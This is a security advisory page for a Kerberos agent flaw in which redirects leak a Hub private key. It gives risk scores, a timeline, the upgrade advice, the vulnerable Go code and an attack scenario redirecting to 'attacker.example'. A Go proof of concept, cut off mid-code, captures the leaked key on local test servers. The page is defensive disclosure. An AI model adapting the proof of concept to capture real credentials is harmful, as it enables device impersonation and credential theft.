github.com/kerberos-io/agent/machinery · Machinery: Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to
Affects github.com/kerberos-io/agent/machinerySource GCVE Database
Not known to be exploited · CVSS 6.9 Medium : upgrade to 0.0.0-20260528173546-51f1a52e170f when convenient.
Data as of 29 Oct 2026, 19:04 UTC
- EPSS
- 0.4% chance of exploitation in 30 days – higher than 36% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 0.0.0-20260528173546-51f1a52e170f
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NExploitation evidence
t = 0 is the CVE’s publication on cve.org
Disclosed: evidence found.
CVE published 20 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
Timeline
CVE ID reserved
by GitHub, Inc.
, 78 days before disclosure
CVE published
on cve.org
, t = 0
CISA SSVC assessment
proof of concept public
, 17 hours after disclosure
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Upgrade github.com/kerberos-io/agent/machinery to 0.0.0-20260528173546-51f1a52e170f.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gogithub.com/kerberos-io/agent/machinery | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary The Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522). ### Impact The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device. ### Vulnerable code (file:line) `machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`): ```go // Check if we are allowed to upload to the hub with these credentials. // There might be different reasons like (muted, read-only..) req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil) if err != nil { errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error() log.Log.Error(errorMessage) return false, true, errors.New(errorMessage) } req.Header.Set("X-Kerberos-Storage-FileName", fileName) req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera") req.Header.Set("X-Kerberos-Storage-Device", config.Key) req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey) req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region) var client *http.Client if os.Getenv("AGENT_TLS_INSECURE") == "true" { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client = &http.Client{Transport: tr} } else { client = &http.Client{} // line 73 — no CheckRedirect } resp, err := client.Do(req) ``` `HubURI` is operator configuration: ```go HubURI string `json:"hub_uri" bson:"hub_uri"` ``` ### Attack scenario 1. An operator configures the agent with a `hub_uri`. 2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`. 3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`. 4. The attacker captures the Hub credentials. ### Proof of concept Driver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect. ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "os" "strings" "sync" "github.com/kerberos-io/agent/machinery/src/cloud" "github.com/kerberos-io/agent/machinery/src/models" ) func installResolver(mapping map[string]string) { tr := http.DefaultTransport.(*http.Transport).Clone() tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { host, _, _ := net.SplitHostPort(addr) if target, ok := mapping[host]; ok { addr = target } return (&net.Dialer{}).DialContext(ctx, network, addr) } http.DefaultTransport = tr } func main() { var mu sync.Mutex var sawPriv, sawPub string attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mu.Lock() sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey") sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey") mu.Unlock() fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path) fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey")) w.WriteHeader(200) })) defer attacker.Close() legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path) http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound) })) d